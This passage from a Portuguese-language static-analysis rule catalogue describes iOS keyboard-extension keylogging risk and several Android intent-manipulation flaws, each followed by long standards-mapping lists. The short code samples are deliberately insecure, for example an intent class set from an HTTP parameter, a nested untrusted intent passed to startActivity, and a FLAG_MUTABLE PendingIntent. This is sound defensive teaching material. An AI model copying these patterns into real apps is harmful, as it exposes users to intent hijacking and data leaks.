[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.http_parameter_pollution
Abstract
O aplicativo permite que extensões de teclado de terceiros sejam instaladas.
Explanation
As extensões de teclado têm permissão para ler todas as teclas que um usuário pressiona. Os teclados de terceiros são normalmente usados para facilitar a entrada de texto ou para adicionar emojis adicionais, e eles podem registrar em log o que o usuário insere ou até mesmo enviar esses logs para um servidor remoto para processamento. Os teclados mal-intencionados também podem ser distribuídos para atuar como um keylogger e ler todas as teclas pressionadas pelo usuário, a fim de roubar dados confidenciais, como credenciais ou números de cartão de crédito.
References
[1] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[2] UIApplicationDelegate Apple
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 522, CWE ID 829
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[13] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.4 Dependency (L2 L3)
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-3
desc.structural.objc.input_interception_keyboard_extensions_allowed
Abstract
O aplicativo permite que extensões de teclado de terceiros sejam instaladas.
Explanation
As extensões de teclado têm permissão para ler todas as teclas que um usuário pressiona. Os teclados de terceiros são normalmente usados para facilitar a entrada de texto ou para adicionar emojis adicionais, e eles podem registrar em log o que o usuário insere ou até mesmo enviar esses logs para um servidor remoto para processamento. Os teclados mal-intencionados também podem ser distribuídos para atuar como um keylogger e ler todas as teclas pressionadas pelo usuário, a fim de roubar dados confidenciais, como credenciais ou números de cartão de crédito.
References
[1] UIApplicationDelegate Apple
[2] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 522, CWE ID 829
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[13] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.4 Dependency (L2 L3)
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-3
desc.structural.swift.input_interception_keyboard_extensions_allowed
Abstract
Permitir que a entrada do usuário controle parâmetros de Intenção pode permitir que um invasor controle o comportamento de atividades subsequentes.
Explanation
Um problema de manipulação de intenção ocorre quando as duas condições a seguir são atendidas:

1. Um invasor pode especificar a ação, o nome da classe ou o componente de uma Intenção do Android.

Por exemplo, um invasor pode ser capaz de especificar o nome da classe ou o componente para lidar com a intenção.

2. Ao especificar a ação, o nome da classe ou o componente, o invasor adquire uma capacidade que, de outra forma, não seria permitida.

Por exemplo, o programa pode dar ao invasor a capacidade de transmitir informações confidenciais a um software de terceiros no dispositivo.

Exemplo 1: O código a seguir usa um argumento lido a partir de uma solicitação HTTP para definir o nome da classe de uma intenção.


String arg = request.getParameter("arg");
...
Intent intent = new Intent();
...
intent.setClassName(arg);
ctx.startActivity(intent);
...
References
[1] Intent
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark partial
[8] Standards Mapping - Common Weakness Enumeration CWE ID 99
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[14] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[15] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[16] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[17] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[18] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[19] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.2.3 - Web Software Access Controls, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.intent_manipulation
Abstract
Uma Intent interna implícita foi detectada. Intenções internas implícitas podem expor o sistema a ataques do tipo man-in-the-middle em componentes internos.
Explanation
Uma Intent interna usa uma ação personalizada conforme definido por um componente interno. Intenções implícitas podem facilitar a chamada de intenções de qualquer componente externo sem o conhecimento do componente específico. A combinação das duas permite que um aplicativo acesse intenções especificadas para um uso interno específico fora do contexto do aplicativo desejado.

A capacidade de processar uma Intent interna de um aplicativo externo pode permitir uma ampla variedade de explorações man-in-the-middle que variam em gravidade desde vazamento de informações e negação de serviço até execução remota de código, dependendo da capacidade de ação interna especificada pela Intent.

Exemplo 1: O código a seguir usa uma Intent interna implícita.


...
val imp_internal_intent_action = Intent("INTERNAL_ACTION_HERE")
startActivity(imp_internal_intent_action)
...
References
[1] Remediation of Implicit Internal Intent Vulnerability
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 99
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.intent_manipulation_implicit_internal_intent
Abstract
Uma PendingIntent implícita foi detectada. Intenções pendentes implícitas podem resultar em vulnerabilidades de segurança, como negação de serviço, vazamento de informações privadas e do sistema e escalonamento de privilégios.
Explanation
Intents Android são usadas para vincular aplicativos e componentes de aplicativos, fornecendo instruções sobre ações que um determinado componente executa. As intenções pendentes são criadas para entregar a Intent posteriormente. As intenções implícitas facilitam a chamada de intenções de qualquer componente externo, usando um nome geral e um filtro para determinar a execução.

Quando uma Intent implícita é criada como uma PendingIntent, isso pode permitir que Intent seja enviada para um componente não intencional que é executado fora do contexto temporal pretendido, deixando o sistema vulnerável a explorar vetores como negação de serviço, vazamento de informações privadas e do sistema e escalonamento de privilégios.

Exemplo 1: O seguinte código usa uma PendingIntent implícita.


...
val imp_intent = Intent()
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable_impintintent = PendingIntent.getService(
this,
0,
imp_intent,
flag_mut
)
...
References
[1] Remediation for Implicit PendingIntent Vulnerability
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 99
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.intent_manipulation_implicit_pending_intent
Abstract
Uma PendingIntent foi detectada com seu valor de sinalizador definido como FLAG_MUTABLE. Intenções pendentes criadas com o valor do sinalizador de FLAG_MUTABLE são suscetíveis a ter campos não especificados Intent definido a jusante, que pode modificar a capacidade da Intent e deixar o sistema aberto a vulnerabilidades.
Explanation
Permitindo a modificação da Intent subjacente de uma PendingIntent após sua criação pode deixar um sistema aberto a ataques. Isso depende principalmente da capacidade geral da Intent subjacente. Na maioria dos casos, é uma prática recomendada evitar possíveis problemas definindo o sinalizador PendingIntent como FLAG_IMMUTABLE.

Exemplo 1: O seguinte inclui uma PendingIntent criada com um valor de sinalizador de FLAG_MUTABLE.


...
val intent_flag_mut = Intent(Intent.ACTION_GTALK_SERVICE_DISCONNECTED, Uri.EMPTY, this, DownloadService::class.java)
val flag_mut = PendingIntent.FLAG_MUTABLE

val pi_flagmutable = PendingIntent.getService(
this,
0,
intent_flag_mut,
flag_mut
)
...
References
[1] Remediation for Implicit PendingIntent Vulnerability
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 99
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.intent_manipulation_mutable_pending_intent
Abstract
Usando um Intent aninhado de uma entrada externa para iniciar uma atividade, iniciar um serviço ou realizar uma transmissão pode permitir que um invasor inicie arbitrariamente componentes de aplicativos internos, controle o comportamento de um componente interno ou acesse indiretamente dados protegidos de um provedor de conteúdo por meio de concessões de permissão temporárias.
Explanation
Um problema de manipulação da intenção de redirecionamento ocorre quando as seguintes condições são atendidas:
1. Um componente exportado aceita um Intent arbitrário aninhado no pacote de extras de um Intent fornecido externamente.

2. O componente exportado usa o Intent arbitrário para iniciar um componente chamando startActivity, startService ou sendBroadcast.

Um invasor pode obter uma capacidade que, de outra forma, não seria permitida na existência dessas condições.
Exemplo 1: O código a seguir aceita um Intent aninhado de uma fonte externa e usa esse Intent para iniciar uma atividade.


...
Intent nextIntent = (Intent) getIntent().getParcelableExtra("next-intent");
startActivity(nextIntent);
...
References
[1] Intent
[2] Remediation for Intent Redirection Vulnerability - Google Help
[3] Nicole Borrelli Android Nesting Intents
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark partial
[10] Standards Mapping - Common Weakness Enumeration CWE ID 99
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[18] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[19] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[20] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[21] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[22] Standards Mapping - OWASP API 2023 API2 Broken Authentication
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
